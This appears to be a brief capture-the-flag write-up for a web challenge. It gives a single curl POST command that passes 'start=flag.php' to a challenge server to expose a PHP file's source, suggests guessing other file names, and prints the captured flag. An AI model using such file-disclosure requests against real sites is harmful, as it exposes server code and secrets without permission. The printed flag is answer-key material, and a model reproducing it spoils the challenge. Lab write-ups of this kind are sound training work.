```
# If we can see the source code of the website, it means that the file of the
page it's not executed.
# Command :
      curl -X POST -d "start=flag.php" http://34.107.35.6:31645/index.php?start

# We chose "flag.php" as parameter because we don't know the name of the PHP
file. So, in reality, we can try multiple names, like "index.php", "1337.php",
etc.

THE FLAG : ctf{b513ef6d1a5735810bca608be42bda8ef28840ee458df4a3508d25e4b706134d}
~Z4que
```
